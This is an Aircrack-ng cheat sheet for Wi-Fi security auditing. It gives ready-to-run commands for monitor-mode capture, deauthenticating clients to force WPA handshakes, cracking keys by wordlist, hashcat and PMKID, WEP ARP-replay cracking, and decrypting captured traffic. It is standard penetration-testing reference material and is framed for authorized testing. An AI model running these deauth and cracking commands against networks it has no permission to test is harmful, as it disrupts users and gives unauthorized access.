Aircrack-ng

Wi-Fi auditing — monitor mode, handshake capture & WPA cracking

Aircrack-ng (Wi-Fi) Cheat Sheet

Aircrack-ng is a suite for 802.11 wireless security auditing: monitor-mode capture, handshake collection, and WEP/WPA/WPA2 key cracking. For authorized testing only — only ever test networks you own or are explicitly authorized to assess.

1. The suite at a glance

Tool	Role
`airmon-ng`	Enable/disable monitor mode; kill interfering processes
`airodump-ng`	Capture packets, list APs & clients, save handshakes
`aireplay-ng`	Inject packets (deauth, fake auth, ARP replay)
`aircrack-ng`	Crack WEP/WPA keys from a capture
`airdecap-ng`	Decrypt a capture once you have the key
`packetforge-ng`	Craft custom packets (WEP)

2. Set up monitor mode

iwconfig                       # find your wireless iface (e.g. wlan0)
sudo airmon-ng check kill      # kill NetworkManager/wpa_supplicant interference
sudo airmon-ng start wlan0     # → creates wlan0mon (monitor mode)
iwconfig                       # confirm Mode:Monitor
# ... when done:
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager

3. Discover networks & clients

sudo airodump-ng wlan0mon                       # scan all channels
sudo airodump-ng --band abg wlan0mon            # include 5 GHz
sudo airodump-ng --encrypt WPA2 wlan0mon        # filter by encryption

Read the output: BSSID (AP MAC), PWR (signal), CH (channel), ENC/CIPHER/AUTH, ESSID (name); the lower table lists associated STATIONs (clients).

4. Targeted capture (lock to one AP)

sudo airodump-ng \
  --bssid AA:BB:CC:DD:EE:FF \
  -c 6 \
  -w capture \
  wlan0mon

Flag	Meaning
`--bssid`	Target AP MAC
`-c` / `--channel`	Lock to one channel
`-w`	Write capture to `capture-01.cap`
`-a`	Show associated clients only

Watch the top-right for WPA handshake: AA:BB:... — that means you captured the 4-way handshake.

5. Force a handshake (deauth)

# Deauth one client so it reconnects and you catch the handshake
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# Broadcast deauth (all clients) — noisier
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

--deauth N sends N rounds (use a small number; 0 = continuous). Keep airodump-ng running on the same channel to capture the re-handshake.

6. Crack WPA/WPA2 (dictionary)

# Wordlist attack against the captured handshake
sudo aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# Let aircrack pick the network if multiple are present
aircrack-ng -w rockyou.txt capture-01.cap

WPA/WPA2-PSK is dictionary-only in aircrack (no key-space brute that's feasible) — success depends entirely on the wordlist.
Pipe a generator: crunch 8 8 0123456789 | aircrack-ng -w - -b <bssid> capture-01.cap.

7. Crack faster with hashcat (convert first)

# Convert the .cap/.pcapng to hashcat's WPA format (hcxtools)
hcxpcapngtool -o hash.hc22000 capture-01.cap

# Mode 22000 = WPA-PBKDF2-PMKID+EAPOL
hashcat -m 22000 hash.hc22000 rockyou.txt
hashcat -m 22000 hash.hc22000 -a 3 '?d?d?d?d?d?d?d?d'   # 8-digit mask

8. PMKID (clientless) attack

# Capture PMKID without needing a client/handshake
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
hashcat -m 22000 pmkid.hc22000 rockyou.txt

Works only against APs that send a PMKID in the first EAPOL frame.

9. WEP (legacy, fast)

# Capture lots of IVs
sudo airodump-ng --bssid <bssid> -c <ch> -w wep wlan0mon

# Speed it up: fake-auth then ARP-replay to generate IVs
sudo aireplay-ng --fakeauth 0 -a <bssid> wlan0mon
sudo aireplay-ng --arpreplay -b <bssid> wlan0mon

# Crack once you have enough IVs (tens of thousands)
sudo aircrack-ng wep-01.cap

WEP is broken by design — IV collection + statistical attack recovers the key quickly.

10. Verify & decrypt

# Confirm a handshake exists in a capture
aircrack-ng capture-01.cap                 # lists nets and "(handshake)" status

# Decrypt traffic now that you have the passphrase
airdecap-ng -e <ESSID> -p '<password>' capture-01.cap   # → capture-01-dec.cap

11. Tips & gotchas

You need a monitor-mode + injection-capable adapter (e.g. Atheros AR9271, Ralink RT3070/RT5572). Test injection: sudo aireplay-ng --test wlan0mon.
Always lock the channel (-c) for the AP you target — scanning all channels misses the handshake.
Match airodump-ng's channel to your aireplay-ng deauth, or the handshake won't be captured.
Bigger ISN'T always better for wordlists — use targeted lists (SSID-based, common patterns) plus hashcat rules.

Authorized testing only. Practice on the AYSEC challenges. Pair with Wireshark display filters to inspect the captured 802.11 frames.